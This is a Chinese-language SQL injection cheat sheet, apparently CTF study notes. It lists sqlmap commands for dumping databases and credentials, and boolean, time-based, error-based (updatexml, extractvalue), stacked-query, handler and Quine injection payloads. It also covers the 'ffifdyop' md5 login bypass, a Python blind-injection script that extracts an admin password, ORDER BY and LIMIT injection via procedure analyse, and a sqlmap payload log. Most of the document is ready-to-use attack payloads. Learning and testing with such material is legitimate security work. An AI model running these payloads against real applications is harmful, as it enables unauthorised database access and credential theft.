加--batch
自动使用默认参数
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
常见注入手段
获取tables+databases+version
获取databases+version
使用database()
函数和version()
函数
获取 tables
select table_name from information_schema.tables where table_schema=database();
获取字段
select column_name from information_schema.columns where table_name='xxx' and table_schema=database();
select 被 limit 造成的无回显
选择不存在的value;
用 limit 0,1
使用group_concat()
select group_concat(xxxx) from xxx
concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号
手注如何判断sql注入
'
判断有没有对字符处理
and 1=1
判断
时间盲注判断
1'+AND+(SELECT*FROM+(SELECT+SLEEP(5))a)+AND+'1'='1'
其中a为SELECT+SLEEP(5)
的别名
盲注常用函数
sleep(n)
=— 返回0 命令中断返回1
substr(a,b,c)
count()
— 计算总数
ascii()
— 返回字符的ascii码
length()
— 返回字符串的长度
基于bool的盲注
a' or 1=1
substr
盲注情况下用 substr (变种mid())获取数据
select substr(database(),2,1) = 'q' and sleep(2)
获取table_name
and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 --+
获取长度
and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))>1 --+
变种mid()
用法和 substr 相同
left()
select left('awaawawa',3) #return awa
ascii
用 ascii() (变种ord) 转换为ascii码
select ascii(substr(database(),2,1)) = 33 and sleep(2);
变种ord
通过length()获取字符串长度
获取database长度
length(database()) = 1 and sleep(1);
rand() 随机数(伪
select rand() from user;
rand(int) #只要int值相等,最后的随机数也相等
floor(x) 返回一个小于x的整数
select floor(1.1)/*1*/,floor(0.99)/*0*/,floor(2.1)/*2*/
报错盲注
updatexml:
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
被截断
updatexml(1,(mid(concat(0x7e,(select flag from flag limit 0,1),0x7e),0,31)),3) --+
extractvalue
'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23
extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23
extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23
^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23
被截断
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23
堆叠注入
考察堆叠注入
';show tables--+
得到表名
';show columns from `1919810931114514`--+
得到flag字段
最后
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23
rename:
修改一个或多个表的名称
RENAME TABLE old_table_name TO new_table_name;
alert:
向表中添加字段
Alter table [表名] add [列名] 类型
保留old和new列名
列名:a ---->b 列类型
ALTER TABLE t1 CHANGE a b INTEGER;
由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Quine注入
主要利用 replace
这个函数
replace(str,old_string,new_string)
REPLACE("间隔符",编码的间隔符,"间隔符")
playload 模板
第一步:
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')
第二步:
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
str=第一步
eg:
'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#
Quine注入说白了就是套娃,导致输入和输出一模一样
神奇字符串绕过
SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘
中使用
ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:’or’6<乱码> 即 'or'66�]��!r,��b
用途:
select * from admin where password=’’or’6<乱码>’
就相当于select * from admin where password=’’or 1 实现sql注入
不光有ffifdyop
还有 129581926211651571912466741651878684928
也可达同样的效果
总之,相当于 select * from admin where password=''or ture
获取columns注释
这里获取scretdata
的注释
union select column_comment,2 from information_schema.columns where table_schema='ctf' and table_name='flag' and column_name = 'scretdata' #
盲注脚本
import requests
url = "http://192.168.18.28/login.php"
password = "admin' oorr asasciicii(substr((selselectect passwoorrd frfromom user WHERE username = 'admin'),{id},1))={ch}-- "
flag = ""
for id in range(1, 32):
for ch in range(127, 1, -1):
# print(ch)
res = requests.post(url, data={"username": "admin", "password": password.format(id=id, ch=ch)})
if "admin.html" in res.text:
flag = flag + chr(ch)
print(flag)
order by 和limit 后注入
order by
https://www.freebuf.com/articles/web/377663.htmlorder by
的执行是在sql语句的最后面,因此order by
后面不能直接跟union连接查询。这样在sql注入的时候就不能使用union注入了。order by
后面可以跟if(),case when else这样的复合查询语句。可以用来进行bool注入,延时注入等order by
后面可以接数字,字段名,这个可以用来判断是否存在注入以及字段数。
判断order by后面是否存在注入点
- 可以改变order by后的列名看排序是否改变来判断是在order by后面的注入点。然后加上ASC|DESC看结果排序是否有改变,有改变则证明有注入点
- 通过bool类型进行判断,下面两个页面如果返回结果不同,则证明有注入点
```sql
(select (case when (3013=3014) then ‘’ else (select 1083 union select 9794)end))
(select (case when (3013=3013) then ‘’ else (select 1083 union select 9794)end))
3.mysql可以使用延时判断,页面响应时间如果延时3秒,那么证明有注入。
利用方式其实跟其它注入位置相同,mysql可以通过bool类型注入和延时注入来读取数据,sqlserver数据库目前测试可以通过bool类型来读取数据。当然,如果有错误回显,可以使用报错注入。
可能用到的函数:length()、substr()、ascii()函数
如下面利用bool注入获取内容的payload。
```sql
[PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>108) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>110) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>109) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>100) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>102) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>101) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>120) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>116) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>118) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>119) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>48) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
limit语句后的sql注入
limit是在mysql中的语句,在sqlserver中无该字段,对应的为top。具体用法如下
LIMIT[位置偏移量,]行数
其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
- limit前面没有order by时,后面可以跟union,如果存在order by,则不能使用union。
- limit后面不能直接跟select语句和if语句。可以跟procedure语句,值得注意的是只有在5.0.0< MySQL <5.6.6版本才可以使用,procedure后面支持报错注入以及时间盲注
- limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难。
limit注入点
```sql
select * from limittest limit 1,[可控点]
select … limit [可控点]
## 利用
可以通过下面的语句进行利用。
```s
extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23
# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23
# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
PS:时间盲注这里不支持sleep,可以使用BENCHMARK
BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)